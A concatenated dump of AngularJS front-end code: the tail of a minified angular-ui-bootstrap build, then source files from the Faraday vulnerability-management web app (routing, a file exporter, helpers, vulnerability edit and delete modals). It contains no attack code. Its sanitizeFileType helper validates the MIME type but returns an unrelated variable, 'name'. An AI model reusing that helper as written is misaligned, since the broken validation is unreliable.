e=d==c.length-1?d-1:d+1;b.select(c[e])}c.splice(d,1)}}]).directive("tabset",function(){return{restrict:"EA",transclude:!0,replace:!0,scope:{type:"@"},controller:"TabsetController",templateUrl:"template/tabs/tabset.html",link:function(a,b,c){a.vertical=angular.isDefined(c.vertical)?a.$parent.$eval(c.vertical):!1,a.justified=angular.isDefined(c.justified)?a.$parent.$eval(c.justified):!1}}}).directive("tab",["$parse",function(a){return{require:"^tabset",restrict:"EA",replace:!0,templateUrl:"template/tabs/tab.html",transclude:!0,scope:{active:"=?",heading:"@",onSelect:"&select",onDeselect:"&deselect"},controller:function(){},compile:function(b,c,d){return function(b,c,e,f){b.$watch("active",function(a){a&&f.select(b)}),b.disabled=!1,e.disabled&&b.$parent.$watch(a(e.disabled),function(a){b.disabled=!!a}),b.select=function(){b.disabled||(b.active=!0)},f.addTab(b),b.$on("$destroy",function(){f.removeTab(b)}),b.$transcludeFn=d}}}}]).directive("tabHeadingTransclude",[function(){return{restrict:"A",require:"^tab",link:function(a,b){a.$watch("headingElement",function(a){a&&(b.html(""),b.append(a))})}}}]).directive("tabContentTransclude",function(){function a(a){return a.tagName&&(a.hasAttribute("tab-heading")||a.hasAttribute("data-tab-heading")||"tab-heading"===a.tagName.toLowerCase()||"data-tab-heading"===a.tagName.toLowerCase())}return{restrict:"A",require:"^tabset",link:function(b,c,d){var e=b.$eval(d.tabContentTransclude);e.$transcludeFn(e.$parent,function(b){angular.forEach(b,function(b){a(b)?e.headingElement=b:c.append(b)})})}}}),angular.module("ui.bootstrap.timepicker",[]).constant("timepickerConfig",{hourStep:1,minuteStep:1,showMeridian:!0,meridians:null,readonlyInput:!1,mousewheel:!0}).controller("TimepickerController",["$scope","$attrs","$parse","$log","$locale","timepickerConfig",function(a,b,c,d,e,f){function g(){var b=parseInt(a.hours,10),c=a.showMeridian?b>0&&13>b:b>=0&&24>b;return c?(a.showMeridian&&(12===b&&(b=0),a.meridian===p[1]&&(b+=12)),b):void 0}function h(){var b=parseInt(a.minutes,10);return b>=0&&60>b?b:void 0}function i(a){return angular.isDefined(a)&&a.toString().length<2?"0"+a:a}function j(a){k(),o.$setViewValue(new Date(n)),l(a)}function k(){o.$setValidity("time",!0),a.invalidHours=!1,a.invalidMinutes=!1}function l(b){var c=n.getHours(),d=n.getMinutes();a.showMeridian&&(c=0===c||12===c?12:c%12),a.hours="h"===b?c:i(c),a.minutes="m"===b?d:i(d),a.meridian=n.getHours()<12?p[0]:p[1]}function m(a){var b=new Date(n.getTime()+6e4*a);n.setHours(b.getHours(),b.getMinutes()),j()}var n=new Date,o={$setViewValue:angular.noop},p=angular.isDefined(b.meridians)?a.$parent.$eval(b.meridians):f.meridians||e.DATETIME_FORMATS.AMPMS;this.init=function(c,d){o=c,o.$render=this.render;var e=d.eq(0),g=d.eq(1),h=angular.isDefined(b.mousewheel)?a.$parent.$eval(b.mousewheel):f.mousewheel;h&&this.setupMousewheelEvents(e,g),a.readonlyInput=angular.isDefined(b.readonlyInput)?a.$parent.$eval(b.readonlyInput):f.readonlyInput,this.setupInputEvents(e,g)};var q=f.hourStep;b.hourStep&&a.$parent.$watch(c(b.hourStep),function(a){q=parseInt(a,10)});var r=f.minuteStep;b.minuteStep&&a.$parent.$watch(c(b.minuteStep),function(a){r=parseInt(a,10)}),a.showMeridian=f.showMeridian,b.showMeridian&&a.$parent.$watch(c(b.showMeridian),function(b){if(a.showMeridian=!!b,o.$error.time){var c=g(),d=h();angular.isDefined(c)&&angular.isDefined(d)&&(n.setHours(c),j())}else l()}),this.setupMousewheelEvents=function(b,c){var d=function(a){a.originalEvent&&(a=a.originalEvent);var b=a.wheelDelta?a.wheelDelta:-a.deltaY;return a.detail||b>0};b.bind("mousewheel wheel",function(b){a.$apply(d(b)?a.incrementHours():a.decrementHours()),b.preventDefault()}),c.bind("mousewheel wheel",function(b){a.$apply(d(b)?a.incrementMinutes():a.decrementMinutes()),b.preventDefault()})},this.setupInputEvents=function(b,c){if(a.readonlyInput)return a.updateHours=angular.noop,void(a.updateMinutes=angular.noop);var d=function(b,c){o.$setViewValue(null),o.$setValidity("time",!1),angular.isDefined(b)&&(a.invalidHours=b),angular.isDefined(c)&&(a.invalidMinutes=c)};a.updateHours=function(){var a=g();angular.isDefined(a)?(n.setHours(a),j("h")):d(!0)},b.bind("blur",function(){!a.invalidHours&&a.hours<10&&a.$apply(function(){a.hours=i(a.hours)})}),a.updateMinutes=function(){var a=h();angular.isDefined(a)?(n.setMinutes(a),j("m")):d(void 0,!0)},c.bind("blur",function(){!a.invalidMinutes&&a.minutes<10&&a.$apply(function(){a.minutes=i(a.minutes)})})},this.render=function(){var a=o.$modelValue?new Date(o.$modelValue):null;isNaN(a)?(o.$setValidity("time",!1),d.error('Timepicker directive: "ng-model" value must be a Date object, a number of milliseconds since 01.01.1970 or a string representing an RFC2822 or ISO 8601 date.')):(a&&(n=a),k(),l())},a.incrementHours=function(){m(60*q)},a.decrementHours=function(){m(60*-q)},a.incrementMinutes=function(){m(r)},a.decrementMinutes=function(){m(-r)},a.toggleMeridian=function(){m(720*(n.getHours()<12?1:-1))}}]).directive("timepicker",function(){return{restrict:"EA",require:["timepicker","?^ngModel"],controller:"TimepickerController",replace:!0,scope:{},templateUrl:"template/timepicker/timepicker.html",link:function(a,b,c,d){var e=d[0],f=d[1];f&&e.init(f,b.find("input"))}}}),angular.module("ui.bootstrap.typeahead",["ui.bootstrap.position","ui.bootstrap.bindHtml"]).factory("typeaheadParser",["$parse",function(a){var b=/^\s*([\s\S]+?)(?:\s+as\s+([\s\S]+?))?\s+for\s+(?:([\$\w][\$\w\d]*))\s+in\s+([\s\S]+?)$/;return{parse:function(c){var d=c.match(b);if(!d)throw new Error('Expected typeahead specification in form of "_modelValue_ (as _label_)? for _item_ in _collection_" but got "'+c+'".');return{itemName:d[3],source:a(d[4]),viewMapper:a(d[2]||d[1]),modelMapper:a(d[1])}}}}]).directive("typeahead",["$compile","$parse","$q","$timeout","$document","$position","typeaheadParser",function(a,b,c,d,e,f,g){var h=[9,13,27,38,40];return{require:"ngModel",link:function(i,j,k,l){var m,n=i.$eval(k.typeaheadMinLength)||1,o=i.$eval(k.typeaheadWaitMs)||0,p=i.$eval(k.typeaheadEditable)!==!1,q=b(k.typeaheadLoading).assign||angular.noop,r=b(k.typeaheadOnSelect),s=k.typeaheadInputFormatter?b(k.typeaheadInputFormatter):void 0,t=k.typeaheadAppendToBody?i.$eval(k.typeaheadAppendToBody):!1,u=b(k.ngModel).assign,v=g.parse(k.typeahead),w=i.$new();i.$on("$destroy",function(){w.$destroy()});var x="typeahead-"+w.$id+"-"+Math.floor(1e4*Math.random());j.attr({"aria-autocomplete":"list","aria-expanded":!1,"aria-owns":x});var y=angular.element("<div typeahead-popup></div>");y.attr({id:x,matches:"matches",active:"activeIdx",select:"select(activeIdx)",query:"query",position:"position"}),angular.isDefined(k.typeaheadTemplateUrl)&&y.attr("template-url",k.typeaheadTemplateUrl);var z=function(){w.matches=[],w.activeIdx=-1,j.attr("aria-expanded",!1)},A=function(a){return x+"-option-"+a};w.$watch("activeIdx",function(a){0>a?j.removeAttr("aria-activedescendant"):j.attr("aria-activedescendant",A(a))});var B=function(a){var b={$viewValue:a};q(i,!0),c.when(v.source(i,b)).then(function(c){var d=a===l.$viewValue;if(d&&m)if(c.length>0){w.activeIdx=0,w.matches.length=0;for(var e=0;e<c.length;e++)b[v.itemName]=c[e],w.matches.push({id:A(e),label:v.viewMapper(w,b),model:c[e]});w.query=a,w.position=t?f.offset(j):f.position(j),w.position.top=w.position.top+j.prop("offsetHeight"),j.attr("aria-expanded",!0)}else z();d&&q(i,!1)},function(){z(),q(i,!1)})};z(),w.query=void 0;var C,D=function(a){C=d(function(){B(a)},o)},E=function(){C&&d.cancel(C)};l.$parsers.unshift(function(a){return m=!0,a&&a.length>=n?o>0?(E(),D(a)):B(a):(q(i,!1),E(),z()),p?a:a?void l.$setValidity("editable",!1):(l.$setValidity("editable",!0),a)}),l.$formatters.push(function(a){var b,c,d={};return s?(d.$model=a,s(i,d)):(d[v.itemName]=a,b=v.viewMapper(i,d),d[v.itemName]=void 0,c=v.viewMapper(i,d),b!==c?b:a)}),w.select=function(a){var b,c,e={};e[v.itemName]=c=w.matches[a].model,b=v.modelMapper(i,e),u(i,b),l.$setValidity("editable",!0),r(i,{$item:c,$model:b,$label:v.viewMapper(i,e)}),z(),d(function(){j[0].focus()},0,!1)},j.bind("keydown",function(a){0!==w.matches.length&&-1!==h.indexOf(a.which)&&(a.preventDefault(),40===a.which?(w.activeIdx=(w.activeIdx+1)%w.matches.length,w.$digest()):38===a.which?(w.activeIdx=(w.activeIdx?w.activeIdx:w.matches.length)-1,w.$digest()):13===a.which||9===a.which?w.$apply(function(){w.select(w.activeIdx)}):27===a.which&&(a.stopPropagation(),z(),w.$digest()))}),j.bind("blur",function(){m=!1});var F=function(a){j[0]!==a.target&&(z(),w.$digest())};e.bind("click",F),i.$on("$destroy",function(){e.unbind("click",F)});var G=a(y)(w);t?e.find("body").append(G):j.after(G)}}}]).directive("typeaheadPopup",function(){return{restrict:"EA",scope:{matches:"=",query:"=",active:"=",position:"=",select:"&"},replace:!0,templateUrl:"template/typeahead/typeahead-popup.html",link:function(a,b,c){a.templateUrl=c.templateUrl,a.isOpen=function(){return a.matches.length>0},a.isActive=function(b){return a.active==b},a.selectActive=function(b){a.active=b},a.selectMatch=function(b){a.select({activeIdx:b})}}}}).directive("typeaheadMatch",["$http","$templateCache","$compile","$parse",function(a,b,c,d){return{restrict:"EA",scope:{index:"=",match:"=",query:"="},link:function(e,f,g){var h=d(g.templateUrl)(e.$parent)||"template/typeahead/typeahead-match.html";a.get(h,{cache:b}).success(function(a){f.replaceWith(c(a.trim())(e))})}}}]).filter("typeaheadHighlight",function(){function a(a){return a.replace(/([.?*+^$[\]\\(){}|-])/g,"\\$1")}return function(b,c){return c?(""+b).replace(new RegExp(a(c),"gi"),"<strong>$&</strong>"):b}}),angular.module("template/accordion/accordion-group.html",[]).run(["$templateCache",function(a){a.put("template/accordion/accordion-group.html",'<div class="panel panel-default">\n <div class="panel-heading">\n <h4 class="panel-title">\n <a class="accordion-toggle" ng-click="toggleOpen()" accordion-transclude="heading"><span ng-class="{\'text-muted\': isDisabled}">{{heading}}</span></a>\n </h4>\n </div>\n <div class="panel-collapse" collapse="!isOpen">\n <div class="panel-body" ng-transclude></div>\n </div>\n</div>')}]),angular.module("template/accordion/accordion.html",[]).run(["$templateCache",function(a){a.put("template/accordion/accordion.html",'<div class="panel-group" ng-transclude></div>')}]),angular.module("template/alert/alert.html",[]).run(["$templateCache",function(a){a.put("template/alert/alert.html",'<div class="alert" ng-class="[\'alert-\' + (type || \'warning\'), closeable ? \'alert-dismissable\' : null]" role="alert">\n <button ng-show="closeable" type="button" class="close" ng-click="close()">\n <span aria-hidden="true">&times;</span>\n <span class="sr-only">Close</span>\n </button>\n <div ng-transclude></div>\n</div>\n')}]),angular.module("template/carousel/carousel.html",[]).run(["$templateCache",function(a){a.put("template/carousel/carousel.html",'<div ng-mouseenter="pause()" ng-mouseleave="play()" class="carousel" ng-swipe-right="prev()" ng-swipe-left="next()">\n <ol class="carousel-indicators" ng-show="slides.length > 1">\n <li ng-repeat="slide in slides track by $index" ng-class="{active: isActive(slide)}" ng-click="select(slide)"></li>\n </ol>\n <div class="carousel-inner" ng-transclude></div>\n <a class="left carousel-control" ng-click="prev()" ng-show="slides.length > 1"><span class="glyphicon glyphicon-chevron-left"></span></a>\n <a class="right carousel-control" ng-click="next()" ng-show="slides.length > 1"><span class="glyphicon glyphicon-chevron-right"></span></a>\n</div>\n')}]),angular.module("template/carousel/slide.html",[]).run(["$templateCache",function(a){a.put("template/carousel/slide.html","<div ng-class=\"{\n 'active': leaving || (active && !entering),\n 'prev': (next || active) && direction=='prev',\n 'next': (next || active) && direction=='next',\n 'right': direction=='prev',\n 'left': direction=='next'\n }\" class=\"item text-center\" ng-transclude></div>\n")}]),angular.module("template/datepicker/datepicker.html",[]).run(["$templateCache",function(a){a.put("template/datepicker/datepicker.html",'<div ng-switch="datepickerMode" role="application" ng-keydown="keydown($event)">\n <daypicker ng-switch-when="day" tabindex="0"></daypicker>\n <monthpicker ng-switch-when="month" tabindex="0"></monthpicker>\n <yearpicker ng-switch-when="year" tabindex="0"></yearpicker>\n</div>')}]),angular.module("template/datepicker/day.html",[]).run(["$templateCache",function(a){a.put("template/datepicker/day.html",'<table role="grid" aria-labelledby="{{uniqueId}}-title" aria-activedescendant="{{activeDateId}}">\n <thead>\n <tr>\n <th><button type="button" class="btn btn-default btn-sm pull-left" ng-click="move(-1)" tabindex="-1"><i class="glyphicon glyphicon-chevron-left"></i></button></th>\n <th colspan="{{5 + showWeeks}}"><button id="{{uniqueId}}-title" role="heading" aria-live="assertive" aria-atomic="true" type="button" class="btn btn-default btn-sm" ng-click="toggleMode()" tabindex="-1" style="width:100%;"><strong>{{title}}</strong></button></th>\n <th><button type="button" class="btn btn-default btn-sm pull-right" ng-click="move(1)" tabindex="-1"><i class="glyphicon glyphicon-chevron-right"></i></button></th>\n </tr>\n <tr>\n <th ng-show="showWeeks" class="text-center"></th>\n <th ng-repeat="label in labels track by $index" class="text-center"><small aria-label="{{label.full}}">{{label.abbr}}</small></th>\n </tr>\n </thead>\n <tbody>\n <tr ng-repeat="row in rows track by $index">\n <td ng-show="showWeeks" class="text-center h6"><em>{{ weekNumbers[$index] }}</em></td>\n <td ng-repeat="dt in row track by dt.date" class="text-center" role="gridcell" id="{{dt.uid}}" aria-disabled="{{!!dt.disabled}}">\n <button type="button" style="width:100%;" class="btn btn-default btn-sm" ng-class="{\'btn-info\': dt.selected, active: isActive(dt)}" ng-click="select(dt.date)" ng-disabled="dt.disabled" tabindex="-1"><span ng-class="{\'text-muted\': dt.secondary, \'text-info\': dt.current}">{{dt.label}}</span></button>\n </td>\n </tr>\n </tbody>\n</table>\n')}]),angular.module("template/datepicker/month.html",[]).run(["$templateCache",function(a){a.put("template/datepicker/month.html",'<table role="grid" aria-labelledby="{{uniqueId}}-title" aria-activedescendant="{{activeDateId}}">\n <thead>\n <tr>\n <th><button type="button" class="btn btn-default btn-sm pull-left" ng-click="move(-1)" tabindex="-1"><i class="glyphicon glyphicon-chevron-left"></i></button></th>\n <th><button id="{{uniqueId}}-title" role="heading" aria-live="assertive" aria-atomic="true" type="button" class="btn btn-default btn-sm" ng-click="toggleMode()" tabindex="-1" style="width:100%;"><strong>{{title}}</strong></button></th>\n <th><button type="button" class="btn btn-default btn-sm pull-right" ng-click="move(1)" tabindex="-1"><i class="glyphicon glyphicon-chevron-right"></i></button></th>\n </tr>\n </thead>\n <tbody>\n <tr ng-repeat="row in rows track by $index">\n <td ng-repeat="dt in row track by dt.date" class="text-center" role="gridcell" id="{{dt.uid}}" aria-disabled="{{!!dt.disabled}}">\n <button type="button" style="width:100%;" class="btn btn-default" ng-class="{\'btn-info\': dt.selected, active: isActive(dt)}" ng-click="select(dt.date)" ng-disabled="dt.disabled" tabindex="-1"><span ng-class="{\'text-info\': dt.current}">{{dt.label}}</span></button>\n </td>\n </tr>\n </tbody>\n</table>\n')}]),angular.module("template/datepicker/popup.html",[]).run(["$templateCache",function(a){a.put("template/datepicker/popup.html",'<ul class="dropdown-menu" ng-style="{display: (isOpen && \'block\') || \'none\', top: position.top+\'px\', left: position.left+\'px\'}" ng-keydown="keydown($event)">\n <li ng-transclude></li>\n <li ng-if="showButtonBar" style="padding:10px 9px 2px">\n <span class="btn-group">\n <button type="button" class="btn btn-sm btn-info" ng-click="select(\'today\')">{{ getText(\'current\') }}</button>\n <button type="button" class="btn btn-sm btn-danger" ng-click="select(null)">{{ getText(\'clear\') }}</button>\n </span>\n <button type="button" class="btn btn-sm btn-success pull-right" ng-click="close()">{{ getText(\'close\') }}</button>\n </li>\n</ul>\n')}]),angular.module("template/datepicker/year.html",[]).run(["$templateCache",function(a){a.put("template/datepicker/year.html",'<table role="grid" aria-labelledby="{{uniqueId}}-title" aria-activedescendant="{{activeDateId}}">\n <thead>\n <tr>\n <th><button type="button" class="btn btn-default btn-sm pull-left" ng-click="move(-1)" tabindex="-1"><i class="glyphicon glyphicon-chevron-left"></i></button></th>\n <th colspan="3"><button id="{{uniqueId}}-title" role="heading" aria-live="assertive" aria-atomic="true" type="button" class="btn btn-default btn-sm" ng-click="toggleMode()" tabindex="-1" style="width:100%;"><strong>{{title}}</strong></button></th>\n <th><button type="button" class="btn btn-default btn-sm pull-right" ng-click="move(1)" tabindex="-1"><i class="glyphicon glyphicon-chevron-right"></i></button></th>\n </tr>\n </thead>\n <tbody>\n <tr ng-repeat="row in rows track by $index">\n <td ng-repeat="dt in row track by dt.date" class="text-center" role="gridcell" id="{{dt.uid}}" aria-disabled="{{!!dt.disabled}}">\n <button type="button" style="width:100%;" class="btn btn-default" ng-class="{\'btn-info\': dt.selected, active: isActive(dt)}" ng-click="select(dt.date)" ng-disabled="dt.disabled" tabindex="-1"><span ng-class="{\'text-info\': dt.current}">{{dt.label}}</span></button>\n </td>\n </tr>\n </tbody>\n</table>\n')}]),angular.module("template/modal/backdrop.html",[]).run(["$templateCache",function(a){a.put("template/modal/backdrop.html",'<div class="modal-backdrop fade {{ backdropClass }}"\n ng-class="{in: animate}"\n ng-style="{\'z-index\': 1040 + (index && 1 || 0) + index*10}"\n></div>\n')}]),angular.module("template/modal/window.html",[]).run(["$templateCache",function(a){a.put("template/modal/window.html",'<div tabindex="-1" role="dialog" class="modal fade" ng-class="{in: animate}" ng-style="{\'z-index\': 1050 + index*10, display: \'block\'}" ng-click="close($event)">\n <div class="modal-dialog" ng-class="{\'modal-sm\': size == \'sm\', \'modal-lg\': size == \'lg\'}"><div class="modal-content" modal-transclude></div></div>\n</div>')}]),angular.module("template/pagination/pager.html",[]).run(["$templateCache",function(a){a.put("template/pagination/pager.html",'<ul class="pager">\n <li ng-class="{disabled: noPrevious(), previous: align}"><a href ng-click="selectPage(page - 1)">{{getText(\'previous\')}}</a></li>\n <li ng-class="{disabled: noNext(), next: align}"><a href ng-click="selectPage(page + 1)">{{getText(\'next\')}}</a></li>\n</ul>')}]),angular.module("template/pagination/pagination.html",[]).run(["$templateCache",function(a){a.put("template/pagination/pagination.html",'<ul class="pagination">\n <li ng-if="boundaryLinks" ng-class="{disabled: noPrevious()}"><a href ng-click="selectPage(1)">{{getText(\'first\')}}</a></li>\n <li ng-if="directionLinks" ng-class="{disabled: noPrevious()}"><a href ng-click="selectPage(page - 1)">{{getText(\'previous\')}}</a></li>\n <li ng-repeat="page in pages track by $index" ng-class="{active: page.active}"><a href ng-click="selectPage(page.number)">{{page.text}}</a></li>\n <li ng-if="directionLinks" ng-class="{disabled: noNext()}"><a href ng-click="selectPage(page + 1)">{{getText(\'next\')}}</a></li>\n <li ng-if="boundaryLinks" ng-class="{disabled: noNext()}"><a href ng-click="selectPage(totalPages)">{{getText(\'last\')}}</a></li>\n</ul>')}]),angular.module("template/tooltip/tooltip-html-unsafe-popup.html",[]).run(["$templateCache",function(a){a.put("template/tooltip/tooltip-html-unsafe-popup.html",'<div class="tooltip {{placement}}" ng-class="{ in: isOpen(), fade: animation() }">\n <div class="tooltip-arrow"></div>\n <div class="tooltip-inner" bind-html-unsafe="content"></div>\n</div>\n')}]),angular.module("template/tooltip/tooltip-popup.html",[]).run(["$templateCache",function(a){a.put("template/tooltip/tooltip-popup.html",'<div class="tooltip {{placement}}" ng-class="{ in: isOpen(), fade: animation() }">\n <div class="tooltip-arrow"></div>\n <div class="tooltip-inner" ng-bind="content"></div>\n</div>\n')}]),angular.module("template/popover/popover.html",[]).run(["$templateCache",function(a){a.put("template/popover/popover.html",'<div class="popover {{placement}}" ng-class="{ in: isOpen(), fade: animation() }">\n <div class="arrow"></div>\n\n <div class="popover-inner">\n <h3 class="popover-title" ng-bind="title" ng-show="title"></h3>\n <div class="popover-content" ng-bind="content"></div>\n </div>\n</div>\n')}]),angular.module("template/progressbar/bar.html",[]).run(["$templateCache",function(a){a.put("template/progressbar/bar.html",'<div class="progress-bar" ng-class="type && \'progress-bar-\' + type" role="progressbar" aria-valuenow="{{value}}" aria-valuemin="0" aria-valuemax="{{max}}" ng-style="{width: percent + \'%\'}" aria-valuetext="{{percent | number:0}}%" ng-transclude></div>')}]),angular.module("template/progressbar/progress.html",[]).run(["$templateCache",function(a){a.put("template/progressbar/progress.html",'<div class="progress" ng-transclude></div>')}]),angular.module("template/progressbar/progressbar.html",[]).run(["$templateCache",function(a){a.put("template/progressbar/progressbar.html",'<div class="progress">\n <div class="progress-bar" ng-class="type && \'progress-bar-\' + type" role="progressbar" aria-valuenow="{{value}}" aria-valuemin="0" aria-valuemax="{{max}}" ng-style="{width: percent + \'%\'}" aria-valuetext="{{percent | number:0}}%" ng-transclude></div>\n</div>')}]),angular.module("template/rating/rating.html",[]).run(["$templateCache",function(a){a.put("template/rating/rating.html",'<span ng-mouseleave="reset()" ng-keydown="onKeydown($event)" tabindex="0" role="slider" aria-valuemin="0" aria-valuemax="{{range.length}}" aria-valuenow="{{value}}">\n <i ng-repeat="r in range track by $index" ng-mouseenter="enter($index + 1)" ng-click="rate($index + 1)" class="glyphicon" ng-class="$index < value && (r.stateOn || \'glyphicon-star\') || (r.stateOff || \'glyphicon-star-empty\')">\n <span class="sr-only">({{ $index < value ? \'*\' : \' \' }})</span>\n </i>\n</span>')}]),angular.module("template/tabs/tab.html",[]).run(["$templateCache",function(a){a.put("template/tabs/tab.html",'<li ng-class="{active: active, disabled: disabled}">\n <a ng-click="select()" tab-heading-transclude>{{heading}}</a>\n</li>\n')}]),angular.module("template/tabs/tabset.html",[]).run(["$templateCache",function(a){a.put("template/tabs/tabset.html",'<div>\n <ul class="nav nav-{{type || \'tabs\'}}" ng-class="{\'nav-stacked\': vertical, \'nav-justified\': justified}" ng-transclude></ul>\n <div class="tab-content">\n <div class="tab-pane" \n ng-repeat="tab in tabs" \n ng-class="{active: tab.active}"\n tab-content-transclude="tab">\n </div>\n </div>\n</div>\n')}]),angular.module("template/timepicker/timepicker.html",[]).run(["$templateCache",function(a){a.put("template/timepicker/timepicker.html",'<table>\n <tbody>\n <tr class="text-center">\n <td><a ng-click="incrementHours()" class="btn btn-link"><span class="glyphicon glyphicon-chevron-up"></span></a></td>\n <td>&nbsp;</td>\n <td><a ng-click="incrementMinutes()" class="btn btn-link"><span class="glyphicon glyphicon-chevron-up"></span></a></td>\n <td ng-show="showMeridian"></td>\n </tr>\n <tr>\n <td style="width:50px;" class="form-group" ng-class="{\'has-error\': invalidHours}">\n <input type="text" ng-model="hours" ng-change="updateHours()" class="form-control text-center" ng-mousewheel="incrementHours()" ng-readonly="readonlyInput" maxlength="2">\n </td>\n <td>:</td>\n <td style="width:50px;" class="form-group" ng-class="{\'has-error\': invalidMinutes}">\n <input type="text" ng-model="minutes" ng-change="updateMinutes()" class="form-control text-center" ng-readonly="readonlyInput" maxlength="2">\n </td>\n <td ng-show="showMeridian"><button type="button" class="btn btn-default text-center" ng-click="toggleMeridian()">{{meridian}}</button></td>\n </tr>\n <tr class="text-center">\n <td><a ng-click="decrementHours()" class="btn btn-link"><span class="glyphicon glyphicon-chevron-down"></span></a></td>\n <td>&nbsp;</td>\n <td><a ng-click="decrementMinutes()" class="btn btn-link"><span class="glyphicon glyphicon-chevron-down"></span></a></td>\n <td ng-show="showMeridian"></td>\n </tr>\n </tbody>\n</table>\n')}]),angular.module("template/typeahead/typeahead-match.html",[]).run(["$templateCache",function(a){a.put("template/typeahead/typeahead-match.html",'<a tabindex="-1" bind-html-unsafe="match.label | typeaheadHighlight:query"></a>')
9 }]),angular.module("template/typeahead/typeahead-popup.html",[]).run(["$templateCache",function(a){a.put("template/typeahead/typeahead-popup.html",'<ul class="dropdown-menu" ng-show="isOpen()" ng-style="{top: position.top+\'px\', left: position.left+\'px\'}" style="display: block;" role="listbox" aria-hidden="{{!isOpen()}}">\n <li ng-repeat="match in matches track by $index" ng-class="{active: isActive($index) }" ng-mouseenter="selectActive($index)" ng-click="selectMatch($index)" role="option" id="{{match.id}}">\n <div typeahead-match index="$index" match="match" query="query" template-url="templateUrl"></div>\n </li>\n</ul>\n')}]);
0 'use strict';
1
2 $.ajaxSetup({
3 async: false
4 });
5
6 var faradayApp = angular.module('faradayApp', ['ngRoute', 'selectionModel', 'ui.bootstrap'])
7 .constant("BASEURL", (function() {
8 var url = window.location.origin + "/";
9 return url;
10 })());
11
12 faradayApp.config(['$routeProvider', function($routeProvider) {
13 $routeProvider.
14 when('/status/ws/:wsId', {
15 templateUrl: 'scripts/partials/status_report.html',
16 controller: 'statusReportCtrl'
17 }).
18 when('/status', {
19 templateUrl: 'scripts/partials/workspaces.html',
20 controller: 'workspacesCtrl'
21 }).
22 otherwise({
23 templateUrl: 'scripts/partials/home.html',
24 controller: 'statusReportCtrl'
25 });
26 }]);
0 angular.module('faradayApp')
1 // file export
2 .directive('fileExporter', function($parse, $click, $blob, $log, $timeout) {
3 return {
4 compile: function($element, attr) {
5 var fn = $parse(attr.fileExporter);
6
7 return function(scope, element, attr) {
8
9 element.on('click', function(event) {
10 var a_href, content, extension, title, type, url, _ref;
11 _ref = fn(scope), content = _ref.content, extension = _ref.extension, title = _ref.title, type = _ref.type;
12
13 if (!(content != null) && !(extension != null) && !(title != null) && !(type != null)) {
14 $log.warn("Invalid content, extension, title or type in file exporter : ", content, extension, title, type);
15 return;
16 }
17
18 title = $blob.sanitizeFileName(title, extension);
19 type = $blob.sanitizeFileType(type);
20 url = $blob.fileToURL(content, type);
21
22 element.append("<a download=\"" + title + "\" href=\"" + url + "\"></a>");
23 a_href = element.find('a')[0];
24
25 $click.on(a_href);
26 $timeout(function() {$blob.revoke(url);});
27
28 element[0].removeChild(a_href);
29 });
30 };
31 }
32 };
33 });
0 angular.module('faradayApp')
1 .factory('$blob', function() {
2 return {
3 fileToURL: function(content, t) {
4 var blob;
5 blob = new Blob([content], {type: t});
6 return (window.URL || window.webkitURL).createObjectURL(blob);
7 },
8 sanitizeFileName: function(name, extension) {
9 var nameRegExp = new RegExp("^[A-Za-z0-9_-]+$");
10 var extRegExp = new RegExp("^[A-Za-z]+$");
11 if(nameRegExp.test(name) && extRegExp.test(extension)) {
12 return "Faraday-" + name + "." + extension;
13 }
14 throw new Error("Invalid title or extension for file: " + name + "." + extension);
15 },
16 sanitizeFileType: function(type) {
17 var patt = new RegExp("^[a-z]+/[a-z+.-]+$");
18 if(patt.test(type)) {
19 return name;
20 }
21 throw new Error("Invalid type for file: " + type);
22 },
23 revoke: function(url) {
24 return (window.URL || window.webkitURL).revokeObjectURL(url);
25 }
26 };
27 });
0 angular.module('faradayApp')
1 .factory('$click', function() {
2 return {
3 on: function(element) {
4 var e = document.createEvent("MouseEvent");
5 e.initMouseEvent("click", false, true, window, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
6 element.dispatchEvent(e);
7 }
8 };
9 });
0 angular.module('faradayApp')
1 .factory('hostsFact', ['BASEURL', function(BASEURL) {
2 var hostsFact = {};
3
4 hostsFact.get = function(ws) {
5 hosts_url = BASEURL + ws + "/_design/hosts/_view/hosts";
6 var hosts = [];
7 //gets hosts json from couch
8 $.getJSON(hosts_url, function(data) {
9 $.each(data.rows, function(n, obj) {
10 hosts[obj.id] = {"name": obj.value.name, "os": obj.value.os, "owned": obj.value.owned};
11 });
12 });
13 return hosts;
14 }
15 return hostsFact;
16 }]);
0 angular.module('faradayApp')
1 .controller('modalDeleteCtrl', function($scope, $modalInstance, amount) {
2 if(amount == 1) {
3 $scope.message = "A vulnerability will be deleted.";
4 } else {
5 $scope.message = amount + " vulnerabilities will be deleted.";
6 }
7 $scope.message += " This action cannot be undone. Are you sure you want to proceed?";
8
9 $scope.ok = function() {
10 $modalInstance.close();
11 };
12
13 $scope.cancel = function() {
14 $modalInstance.dismiss('cancel');
15 };
16 });
0 angular.module('faradayApp')
1 .controller('modalEditCtrl', function($scope, $modalInstance, severities, vulns) {
2
3 $scope.pickVuln = function(v) {
4 $scope.p_name = v.name;
5 $scope.p_desc = v.desc;
6 $scope.p_data = v.data;
7 $scope.severitySelection = v.severity;
8 $scope.p_method = v.method;
9 $scope.p_pname = v.pname;
10 $scope.p_params = v.params;
11 $scope.p_path = v.path;
12 $scope.p_query = v.query;
13 $scope.p_website = v.website;
14 $scope.p_request = v.request;
15 $scope.p_response = v.response;
16
17 $scope.name = $scope.p_name;
18 $scope.data = $scope.p_data;
19 $scope.desc = $scope.p_desc;
20 $scope.method = $scope.p_method;
21 $scope.params = $scope.p_params;
22 $scope.path = $scope.p_path;
23 $scope.pname = $scope.p_pname;
24 $scope.query = $scope.p_query;
25 $scope.request = $scope.p_request;
26 $scope.response = $scope.p_response;
27 $scope.website = $scope.p_website;
28 };
29 $scope.severities = severities;
30 $scope.vulns = vulns;
31 $scope.web = false;
32 $scope.mixed = 0x00;
33
34 $scope.vulnc = 0;
35 var vuln_mask = {"VulnerabilityWeb": 0x01, "Vulnerability": 0x10};
36
37 $scope.vulns.forEach(function(v) {
38 if(v.selected) {
39 $scope.mixed = $scope.mixed | vuln_mask[v.type];
40 $scope.vulnc++;
41 $scope.pickVuln(v);
42 if (v.type === "VulnerabilityWeb") {
43 $scope.web = true;
44 //web
45 }
46
47 }
48 });
49
50 $scope.unit = $scope.vulnc == 1;
51
52 if ($scope.vulnc > 1) {
53 $scope.p_name = "";
54 $scope.p_desc = "";
55 $scope.p_data = "";
56 $scope.p_method = "";
57 $scope.p_pname = "";
58 $scope.p_params = "";
59 $scope.p_path = "";
60 $scope.p_query = "";
61 $scope.p_website = "";
62 $scope.p_request = "";
63 $scope.p_response = "";
64 }
65
